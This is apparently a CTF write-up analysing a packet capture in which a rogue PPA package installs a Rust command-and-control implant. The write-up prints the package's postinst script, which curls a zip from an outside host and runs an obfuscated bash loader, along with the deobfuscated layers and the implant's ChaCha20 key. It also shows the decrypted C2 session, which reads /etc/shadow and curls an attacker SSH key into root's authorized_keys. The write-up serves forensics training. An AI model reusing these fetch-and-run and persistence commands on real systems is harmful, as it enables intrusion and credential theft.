Skip to main content
  1. CTF Writeups/
  2. Scarlet CTF 2025/

Advanced Packaging Threat

·
for rev 467 pts 52 solves rust wireshark chacha20 bash malware
subzcuber
Author
subzcuber
i like to imagine i’m funny
Table of Contents

Author: mel (all hail the mel)

Earlier on in the year I used a custom PPA for a long-discontinued library I needed in my experimental program. I ended up not using it, but soon forgot about it later on. However, this morning, I went to check back in on my server and discovered a strange SSH public key in my root SSH user.

I have a packet capture from yesterday detailing everything happening on the network. Could you maybe take a look at it?


PCAP Analysis
#

Given an intercept.pcap, we notice a lot of interesting traffic (its a 95MB pcap lmao). The vast majority is random, strange looking TCP retransmissions, but among all the noise there are also DNS, HTTP, ICMP, FTP, SSH etc packets.

After a while I decided to focus on the HTTP ones, those made some sense and had downloads from debian.org. Wireshark lets you export objects so I exported the downloads to go through them

File -> Export Objects -> HTTP

There are a lot of .deb files downloaded from deb.debian.org but there’s one coming from a repo called knowledge universal which seems to be the PPA (personal package archive) mentioned in the description. Let’s check it out

❯ ls -l knowledge-universal/
-rw-r--r-- 1    105 authorization
-rw-r--r-- 1 479540 cmdtest.deb
-rw-r--r-- 1   1543 symbols.zip

Malware Analysis
#

I’ll come to symbols.zip and authorization soon, but lets start with the cmdtest.deb package first. We can extract all the files in it with:

ar x ./cmdtest.deb
xz -d ./data.tar.xz 
tar xf ./data.tar
xz -d ./control.tar.xz 
tar xf ./control.tar

The cmdtest package comes with a post install script which is interesting to us.

❯ cat postinst
#!/bin/bash
curl -s http://knowledge-universal/symbols.zip -o symbols.zip
unzip -q -P very-normal-very-cool symbols.zip
bash ./disk_cleanup⏎

Deobfuscation
#

Okay, let’s try unzipping symbols.zip now that we have the password. We get a disgusting looking bash script disk_cleanup thats pretty obfuscated. There’s a chain of deobfuscation that takes place, you can see the cleaned up versions here (i hate obfuscated bash so much)

# deobfuscate ./disk_cleanup
echo 'H4sIAPnaKGgC/32UCXOiSBiG/wpLtDTHlIC4kdrUbhAPkCPDLb1MpjgUkUNQRCHD/PZtTGqnao8pC7/7bbqBB0GQztvzYEB19Lva7v9+HPD2l81X+8t5sWmQtnj3vbUoimboIURTtFf07A2CdI8w2elfx19fG2h+eb4O9OwThj0SvV5vXSJPT09ID2ab7igmsZu7t06r1bw+v3VQ6Nwi11Aq1fKPg/qt233PI/4nBCFvYfUWxVH8ZnR/i9+QzXdYJT7dYTcU3u8j/X4HRdc9FP6uf0fHdm0EuWtX+IY0v9kvvL3pvq/YPHysnAJTXviReAKEX80SUM8XywBLPP68cPERIRDGApTklDteTP9EhX6sEMI9N+XCGabk8wSUc9Oq/cR98TGdneteDtjlrzLhpRILFQk/GZl+ZhDKxNetdE6AiGO4IbRbeKUjQp/4GNgqppMCwmn1IroCyTxS2OXOTfxU3ALC2yohk0WqmNM7/rJXxcOstYyYz97jH7b+sFN+L4cCnHk50JpYRJpw/jsXisGR4eqxKgV7hruMQ7EIav5HvRIPdC0dZppU6DVfHUPxwGnCBfpnaM9QD8biPmCW1E/2yUcqPzpWYqHDfjhTH1WpmO3EC9TDMealgvda0TupoKfiJWD4CNNkNjOthDKtrTQEpxGmaL4uX7LE570ETACmVGQChkvNSqSVFdHM+kAzoKSmzo4K3ZwjhMAKl8F/9oafA9kUAnrl5GTCpx/9lZTyJc1sAnkl1Tp8HhkhVvuF8znW5UWmy4nCcIMZYZVwJqRCBjNqMfYJkEs7Md8S2hI+J34egVb/nq6WZ3q69uaaSF4MK9yyK1KHMTAt8oJLWMCu4uVi7Sk7cIZ+AqDvM1yipG62ZD1+HPMll/DHUeLl48qLM9U6ZIxXyEMvlwmhJgk3l1P+TIVWllVClal+iU19XNRA6idOze2cPaWrExDBK2GysQaqf+5zzPjFZChspNW6VlagUEyhMgivvCR+jFfw3BdOPKncvWSCvax+/ve3AXXbc5R3fAzPNR+H7vVePvQjnOGwvdr28SVpOrDu1bAenFlQ0IyU6/BdhvEphnUO7mvMcGPl//UCrHaHEu4rQDdwQzNUI9ZOAPcB0C1BGRoAzNfF0nCiwjQ4YLj6PDEOYM6VVG0NPrTaffzse4Nw2RRp8/oKeXClRkg8YtjJvvqdrCUFhAzSiHR+GOQ63T12QmfwDo9+i6YWaLALe8S/dq9wYVV6AqtN/HQ/Y6iXK8Ig8jrPLTpbIL4DdsuSD0O3aYnWcgimutl0ZP+ZN+iVV7C5231wK6Kyv8CuzoRW2Xbw+5W+fwE4EbMPpgUAAA==' | base64 -d |  gunzip > disk_cleanup_1

# deobfuscate ./disk_cleanup_1
echo "nZWQGdkMuZ2dyEmZzFGJg0mcKwGb152L2VGZv4DIsxWdu9idlR2L+IDIiE0RqFmZvFWYzdmbOd0UHFUcqZHJ6Q2cnNHZ2d2dm5WdpV2RBdUYnF2ZkICI3F2ZhF2Zn52UBd0ZhRWanZ2aqFmZkAyZmFkRHJjbmdnMhZ2chRiCpkSMqAjKxoSMrEjKxoCMqEjKxoSMqEjKxoSMqEzKxoSMqEDKoQiLpkSOrATMtkTLwEDKoQiLpkiMgsCIz8SNgoCIx8iMtgzKwEDKoQiLpkyMrAzNrETNtUzKysiMrITLxUzKwITLwATMrITMogCJ9Q2cnNHZ2d2dm5WdpV2RBdUYnF2ZKkSK5syMtUTMrATMzsSNtEjMxsiM10COyEzKyAjNtADMxgCKk0TQHpWYm9WYhN3Zu50RTdUQxpmdKcmZBZ0Ry4mZ3JTYmNXYkACerACZv9Daj9ibqI2LgYiJgcmZBZ0Ry4mZ3JTYmNXYkAiPgQWLgAXaq4mKn9ibqI2LyNnKvACfgQXNzU2Znp2MyoGaPlUQGpUQmRCI/E2Yv4mKi9iC0VzMld2ZqNjMqh2TJFkRKFkZkAiP+AyJwADecFTM4xVYihHX4UDecZWY4x1N0gHXlJGecRjZwgHXmZGecdCImRnbpJHcK8lKvImKs5mcq8yclpSYrpCctQ3cqQ2Lz42bqQnKw9iYppyLypSdv0Dd1MTZndmazIjao9USBZkSBZmCp8TZy9ibqI2LyNnKvACfg8CdtB3LfNXezRXZtRWLyV2cvxmdl1yYhNGalByboNWZoQSPnZWQGdkMuZ2dyEmZzFmCpQWLgQjKlNXYq8ibppyLyNnKvACfk1CI0oSZzFmKv4Waq8iczpyLgwHZtACNqU2chpyLulmKvI3cq8CI8RWLgQjKlNXYq8ibppyLyNnKvACfg0zb3N1dRZUV1VTVSVlTuZ1dZZUYLR3VZZFetJVaktWVIZVbUFmVrZFIv9zY/8ibppyLoQSP3F2ZhF2Zn52UBd0ZhRWanZ2aqFmZ" | rev | base64 -d > disk_cleanup_2

disk_cleanup_2 evaluates the values of a bunch of variables that give us further information

Here are the cleaned up values

cli_flag="--master"
dst="/tmp/_systemd-resolved-cache"
src="usr/lib/python3/dist-packages/yarnlib/_"
ip=172.17.0.1
port=21
printf '\xff\x0f4\xbe\x47\xaf\x58\xba\x11\x00' >> $src
cat $src | gunzip -d > $dst && chmod +x $dst
$dst $cli_flag "$ip:$port"

So what this does is extract a file from the cmdtest package in its libs, modify it slightly to restore the original executable, and run it with the --master flag and an ip/port. Let’s recover this executable (hence named malware)

Reverse Engineering
#

(are we sure this is a forensics challenge?)

We’re going to have to reverse engineer malware aren’t we? A simple strings shows that its a rust binary 😭

Opening this up in binary ninja we see the wifi_utility::main init a chacha20 instance with the

  • key = facdf7458d8483b214197a7245aad45c4ff297e4b90293027234e3c35dea9069
  • nonce = meow-varez:3
if (chacha20::avx2_cpuid::STORAGE::hd45ff7608f86b6b9 == 0xff)
    chacha20::avx2_cpuid::init_get::init_inner::he6a3e06188bb66b4()

__builtin_strncpy(dest: &var_548, src: "expand 32-byte k", count: 0x10)
int32_t var_538[0x4]
__builtin_memcpy(dest: &var_538, 
    src: "\xfa\xcd\xf7\x45\x8d\x84\x83\xb2\x14\x19\x7a\x72\x45\xaa\xd4\x5c\x4f\xf2\x97\x"
"e4\xb9\x02\x93\x02\x72\x34\xe3\xc3\x5d\xea\x90\x69", 
    count: 0x20)
int32_t var_518 = 0
int64_t var_514
__builtin_strncpy(dest: &var_514, src: "meow-warez:3", count: 0x4d)

malware then enters an infinite loop than reads a 4 byte value with the length of the payload, then reads that payload and xors it with the chacha keystream. I am taking massive liberties in cleaning this up to demonstrate


  while (1) {
    do {
      std::net::tcp::read(fd, buf, 4);
      size_t len = _bswap(atoi(buf)); // BE to LE

      read_buf = __rust_alloc_zeroed(len, 1);

      std::io::default_read_exact(fd, read_buf, len);
      chacha20::ChaChaCore::process_with_backend();

      /* xor with chacha20 keystream and execute command */
    }
  }

C2 Traffic Analysis
#

Given this information lets now try to decrypt the commands send to this Command and Control server (C2)

We know the server sending the data is at 172.17.0.1:21 so we can filter for messages from there

tcp.stream eq 17 and tcp.srcport == 21 and ip.src == 172.17.0.1

(tcp.stream == 17 i got from wireshark’s useful feature of following streams) I can now save this stream and decrypt the server command. Here’s what that stream’s hexdump looks like (i’ve added empty requests for zero length messages)

stream.txt
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
00000002
fa0c
00000027
9d9a9df41db7a363727adc8c9a3f4cc36e231754a17b6a780ac603deafde8849be3443287ad330
00000003
b1dd93
00000002
9464
0000000f
3fab20aaef1831d34fe92c95b67983
0000028d
7a76c9b15a758caeb724a90359395fd9dc21f965bce3f43e21b3fd0f244c84363b7184239e52ec6b7695663a7702e18268b03cb6c6d39dddd1ce66a4f05a88d98a62ecb387bdf0cb050e7234d7cd9fd0bbf7c55124563f0a164e4b4e599f19fb47b6852edca9c4619a0072f135245d005c76adfea9f1d4a3b64e38a30af6df168bc63aad535b55d2ad42ad1e9277848e5ef75c0e6dc9c652f281eb3395d140f9b0718e19a7505d2df6bd5e60ea020a8e1b2e0be26c4b69bc545ca108243fb5139638d27c6126ab5b849ac42a8a4c2679c9759adfffefb8067f0e16af8dc38474274906063e22c24265d86bc8392fc72a3af67908aef6a697b4685263dee35695b14dd6875cf513a85d50a5c0332ef3bb6c44ba597db767273eb0f4b3274aee885d4ee91f1da12407f1b866b49fa0f877f17d446aaba87ade9a3c722781475f80b11f6b0d5f5ca963822c35e093fe199a162cab396f437dc88ee600fff448d6258ec2ee07ae3bdae5aed393ec6b623bfae7198fbc784f62a1c53b51c6ce9d89d956dc04e099aaa7238116e8f97fd70c172b8225191b3f552d8f750b77b155f8f3a23a37a3000e77f78594ea8597221b2e3c825b5f6fd51e533c87d7521053234b1e70b7921bf48d2846dbb365e7505a9239b5a25c03ee693428ca75fdaf4b02c447b586ad6b112a3dd0b82df6a4902e00f3f6e4c085776c0683b1d60d1c3bd31e5ae2ec2a4cddaabaf23ae4d232b9a84a2a57afb79d81c4f88cbe9f7a5baf1ed0617f9e56895561d0ed1b9840c763e594adf0579f3e162168d5dbd479b00bbeea51091c9cbab405dfdeb1afac3dc0cf6b5140b9f63c6874997f238fcfb46097196247007c3727ab8ddc6ad85a1464bf2054bc05260daa7ffadf55659c70c905170331264dd197e0741514785137
0000004b
00121c58f60d6e0cd4c7193546ca68d8e71cf7c6d73128b2141bb1cf5544420cd00667b9808ee450964212553218eb044e74c08c5c073f6efaed585d4277fbcc8ef198f1a818bd95d83ab9
00000000

0000000d
5d5c0ab782f4c58882ff02dd82
000001d0
edfd02cefbef7c35366f213d1a2a7761142adb2361f09ed46497ec7c2901de9491a2eb3d7945b604d5ca7c5af714c4179a3d8c88449aecd6d3d9fb2a2c294c6ec519a0cfa677d2514f5419cf26946a3ee6d590bc19431ebfe6ca1a7ccb8877013f12a33997689f9d598d96f8f024acb5639726f0db7b420dea78f62145da2327d25dd4f491d447b5325d649bbb962a09cff4d4a4d337af0d234104b09e8eb810660ed588cf901f27d9468a3dc6d9ca01ca77830b451fd291d6794b0c4afd542307e96528be50d6cdd946f89200b743724ab2aa4552cfb79da00285a1e760cc955b061834c7a2a67568f1fb55122953f357285c421a22dbb015c1b9e93799bf1c3e3cd7d27d0c23e8a4317773fc8216c8d65921e11b3bd93ef8452e95a322f5a9fbbcd11497d8c4f1d46f453901296e5d2cff2be9e05b12729439dfee2a125ab7ae43bbcd3bfc285aaf2e704bc92b6c97ec3a902f2955fe8666f4dc62d9fbc243fd5c55513f529a6580b6bbc115897e367b1d137fc17c7799811fe6e57397a34016989ec7b909161e4f7b315d103ec9ffa8f81deaec170734f074f7a380741ed35cd603789a0fde8c9303307ae8f3395fb260b35d254639066cda00d0dd9f12765bc936d3f0dbba401f1efdbd385af8f1
00000021
ce3f001be699efd0b2703dae23f0b81f69a4664ae82ab2708187da90c88bfd7502
0000003d
8d9a033b7730a01c8bd227e3feb1b10b136174ce821ef4f31b8f037a47d812ccf4b3524bfde32142f814d5a11e3b39d794df297480fb0cbe08efde67c8
00000015
aaafb853a4933bfd5fe7b2c08a15ef4afef96d9f26
00000045
11a8b1c5f23855d56684f503ce1742d22cd6887feb23d0d11ef7807a6b6d89d937bd4390f4d945c45919b56cf2c3ca417a454bc406787dea48465ca15644fb1ee35d5a55b2
0000000e
80f765d211969582bbf3d6441218
00000000

0000000f
8b9166c15951479ae07245ec8a50f9
00000000

00000004
62e8c86a

I save this to stream.txt and I can now decrypt this with a simple solve script

solve.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Cipher import ChaCha20
import binascii

KEY_HEX = "facdf7458d8483b214197a7245aad45c4ff297e4b90293027234e3c35dea9069"
NONCE = b"meow-warez:3" 

def decrypt_capture(file_name):
    key_bytes = binascii.unhexlify(KEY_HEX)
    cipher = ChaCha20.new(key=key_bytes, nonce=NONCE)
        
    with open(file_name, "r") as f:
        hex_lines = f.readlines()
        for i, line in enumerate(hex_lines):
            line = line.strip()
            # ignore length prefix lines
            if i % 2 == 0:
                continue
            encrypted_data = binascii.unhexlify(line)
            decrypted_data = cipher.decrypt(encrypted_data)
            # for differentiating between commands and outputs
            pre = "$ "
            if i % 4 == 3:
                pre = ""
            print(f"{pre}{decrypted_data.decode().strip()}")
                
if __name__ == "__main__":
    decrypt_capture("./stream.txt")

Here’s all the commands that the server ran

❯ python solve.py
prompt> id
uid=0(root) gid=0(root) groups=0(root)
prompt> pwd
/
prompt> cat /etc/shadow
root:$y$j9T$EgrjqkZ9tbfCDXFAz3uFt1$IF/LOLQ4cUa2Tgj/MfHmlJCC5N.yn2TUTnxBhEVt3N2:20225:0:99999:7:::
daemon:*:20206:0:99999:7:::
bin:*:20206:0:99999:7:::
sys:*:20206:0:99999:7:::
sync:*:20206:0:99999:7:::
games:*:20206:0:99999:7:::
man:*:20206:0:99999:7:::
lp:*:20206:0:99999:7:::
mail:*:20206:0:99999:7:::
news:*:20206:0:99999:7:::
uucp:*:20206:0:99999:7:::
proxy:*:20206:0:99999:7:::
www-data:*:20206:0:99999:7:::
backup:*:20206:0:99999:7:::
list:*:20206:0:99999:7:::
irc:*:20206:0:99999:7:::
_apt:*:20206:0:99999:7:::
nobody:*:20206:0:99999:7:::
systemd-network:!*:20225::::::
systemd-timesync:!*:20225::::::
messagebus:!:20225::::::
sshd:!:20225::::::
prompt> curl http://knowledge-universal/authorization -o /root/.ssh/authorized_keys
prompt> ls -laR /root
/root:
total 28
drwx------ 1 root root 4096 May 17 15:12 .
drwxr-xr-x 1 root root 4096 May 17 19:00 ..
-rw-r--r-- 1 root root  571 Apr 10  2021 .bashrc
-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
drwx------ 1 root root 4096 May 17 19:00 .ssh
-rw-r--r-- 1 root root   50 May 17 15:12 flag.txt

/root/.ssh:
total 16
drwx------ 1 root root 4096 May 17 19:00 .
drwx------ 1 root root 4096 May 17 15:12 ..
-rw-r--r-- 1 root root  105 May 17 19:00 authorized_keys
prompt> md5sum /root/.ssh/authorized_keys
306171d90074563d46750370e1b7704f  /root/.ssh/authorized_keys
prompt> base64 /root/flag.txt
UlVTRUN7a24wY2tfa24wY2tfeW91X2g0dmVfYV9wNGNrNGdlX2luX3RoM19tNDFsfQo=
prompt> rm symbols.zip
prompt> rm disk_cleanup
prompt> exit

So that’s where authorization came in. Anyway, that’s a lovely flag.txt there, lets have a lookie

echo "UlVTRUN7a24wY2tfa24wY2tfeW91X2g0dmVfYV9wNGNrNGdlX2luX3RoM19tNDFsfQo=" | base64 -d
RUSEC{kn0ck_kn0ck_you_h4ve_a_p4ck4ge_in_th3_m41l}

i’d gotten all the way to the key and the nonce and but i just couldn’t decrypt the commands during the actual ctf, fml

i apologise for disappointing the mel

Reply by Email

Related

Starting Out: MemLabs
for rev dfir pe32 binaryninja
WalkThroughs for stuxnet999/MemLabs
deldeldel
for 50pt usb hid wireshark
usb hid data
Too Hidden
for 150pt wireshark icmp
icmp data bytes